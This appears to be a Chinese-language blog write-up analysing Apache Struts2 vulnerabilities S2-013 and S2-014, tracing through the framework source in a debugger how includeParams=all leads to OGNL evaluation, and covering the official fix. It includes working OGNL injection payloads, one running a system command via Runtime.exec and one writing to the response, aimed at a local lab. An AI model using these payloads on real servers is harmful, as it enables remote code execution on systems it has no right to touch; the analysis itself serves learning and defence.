前言
S2-014是对于S2-013修复不完整的造成的漏洞,会在漏洞分析中提到,所以文本的主要分析的还是S2-013
而且在分析的时候,发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的:)
漏洞环境根据vulhub修改而来,环境地址 https://github.com/kingkaki/Struts2-Vulenv,感兴趣的师傅可以一起分析下
若有疏漏,还望多多指教
漏洞信息
https://cwiki.apache.org/confluence/display/WW/S2-013
struts2的标签中 <s:a>
和 <s:url>
都有一个 includeParams 属性,可以设置成如下值
- none - URL中不包含任何参数(默认)
- get - 仅包含URL中的GET参数
- all - 在URL中包含GET和POST参数
当includeParams=all
的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
此时<s:a>
或<s:url>
尝试去解析原始请求参数时,会导致OGNL表达式的执行
漏洞利用
不妨先来看下index.jsp中标签是怎么设置的
<p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
<p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
然后来测试一下最简单payload ${1+1}
(记得编码提交 :)
http://localhost:8888/link.action?a=%24%7B1%2b1%7D
就可以看到返回的url中的参数已经被解析成了2
然后命令执行的payload
${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}
编码后提交
漏洞分析
网上关于S2-013的分析将它的形成归结于
这里我先说明两点
- 我分析时的漏洞环境种
xwork-core
的版本是2.2.3,DefaultUrlHelper.class
中的类全部在UrlHelper.class
,但是代码逻辑并没有更改 - 至于漏洞究竟是哪里触发的,可以根据弹出计算器在哪弹出来确定究竟是哪里触发的
我们可以从一开始的struts2-core-2.2.3.jar!/org/apache/struts2/components/Anchor.class:64
中这两句开始关注
this.urlRenderer.beforeRenderUrl(this.urlProvider);
this.urlRenderer.renderUrl(sw, this.urlProvider);
第一句是返回url之前的一些处理,第二句是返回url,从第一句开始打下断点,然后跟进去
果然还是来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:240
的parseQueryString
方法
但是可以看到,即使过了网上说的这个触发点,计算器依旧没有弹出
String translatedParamValue = translateAndDecode(paramValue);
仅仅是做了一个url编码的过程,然后就返回了,那就继续跟下去吧
最后做完了url的一些预先处理,又回到了之前下断点的下一句
step into进去之后来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/ServletUrlRenderer.class:39
public void renderUrl(Writer writer, UrlProvider urlComponent) {
String scheme = urlComponent.getHttpServletRequest().getScheme();
if (urlComponent.getScheme() != null) {
scheme = urlComponent.getScheme();
}
ActionInvocation ai = (ActionInvocation)ActionContext.getContext().get("com.opensymphony.xwork2.ActionContext.actionInvocation");
String result;
String _value;
String var;
if (urlComponent.getValue() == null && urlComponent.getAction() != null) {
result = urlComponent.determineActionURL(urlComponent.getAction(), urlComponent.getNamespace(), urlComponent.getMethod(), urlComponent.getHttpServletRequest(), urlComponent.getHttpServletResponse(), urlComponent.getParameters(), scheme, urlComponent.isIncludeContext(), urlComponent.isEncode(), urlComponent.isForceAddSchemeHostAndPort(), urlComponent.isEscapeAmp());
} else ...
真正触发漏洞在这一个语句里面,不妨跟进去看一下
来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/Component.class:198
继续跟进最后一行的那个函数
来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:49
的buildUrl
函数中
前面做了一些url的处理,添加一些http(s)://
之类的前缀,来到后面之后,116行有这样一句
if (escapeAmp) {
buildParametersString(params, link);
}
这里才是真正的开始build参数
继续step into之后struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:139
public static void buildParametersString(Map params, StringBuilder link, String paramSeparator) {
if (params != null && params.size() > 0) {
if (link.toString().indexOf("?") == -1) {
link.append("?");
} else {
link.append(paramSeparator);
}
Iterator iter = params.entrySet().iterator();
while(iter.hasNext()) {
Entry entry = (Entry)iter.next();
String name = (String)entry.getKey();
Object value = entry.getValue();
if (value instanceof Iterable) {
Iterator iterator = ((Iterable)value).iterator();
while(iterator.hasNext()) {
Object paramValue = iterator.next();
link.append(buildParameterSubstring(name, paramValue.toString()));
if (iterator.hasNext()) {
link.append(paramSeparator);
}
}
} else if (value instanceof Object[]) {
Object[] array = (Object[])((Object[])value);
for(int i = 0; i < array.length; ++i) {
Object paramValue = array[i];
link.append(buildParameterSubstring(name, paramValue.toString()));
.....
取出参数值之后放入了一个数组中,再经过了buildParameterSubstring
方法
buildParameterSubstring
方法就在这段代码后面
private static String buildParameterSubstring(String name, String value) {
StringBuilder builder = new StringBuilder();
builder.append(translateAndEncode(name));
builder.append('=');
builder.append(translateAndEncode(value));
return builder.toString();
}
也就是这里,这时url解码之后的translateAndEncode(value)
才真正的造成了代码的执行,才弹出了计算器
补一段translateAndEncode
和translateVariable
的代码,其实就刚才逻辑分析的下面
public static String translateAndDecode(String input) {
String translatedInput = translateVariable(input);
String encoding = getEncodingFromConfiguration();
try {
return URLDecoder.decode(translatedInput, encoding);
} catch (UnsupportedEncodingException var4) {
LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded", new String[0]);
return translatedInput;
}
}
private static String translateVariable(String input) {
ValueStack valueStack = ServletActionContext.getContext().getValueStack();
String output = TextParseUtil.translateVariables(input, valueStack);
return output;
}
漏洞修复
在S2-013中用于验证的poc为
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
于是官方就限制了%{(#exp)}
格式的OGNL执行,从而造成了S2-014
因为还有%{exp}
形式的漏洞,让我们一起看下最终的修补方案
重点自然是放在了DefauiltUrlHlper.class
中
将之前的translateAndEncode
更改成了encode
public String encode(String input) {
try {
return URLEncoder.encode(input, this.encoding);
} catch (UnsupportedEncodingException var3) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", new String[]{input});
}
return input;
}
}
只支持简单的url解码
之前触发的点也将函数换成了decode
Reference Links
https://github.com/vulhub/vulhub/tree/master/struts2/s2-013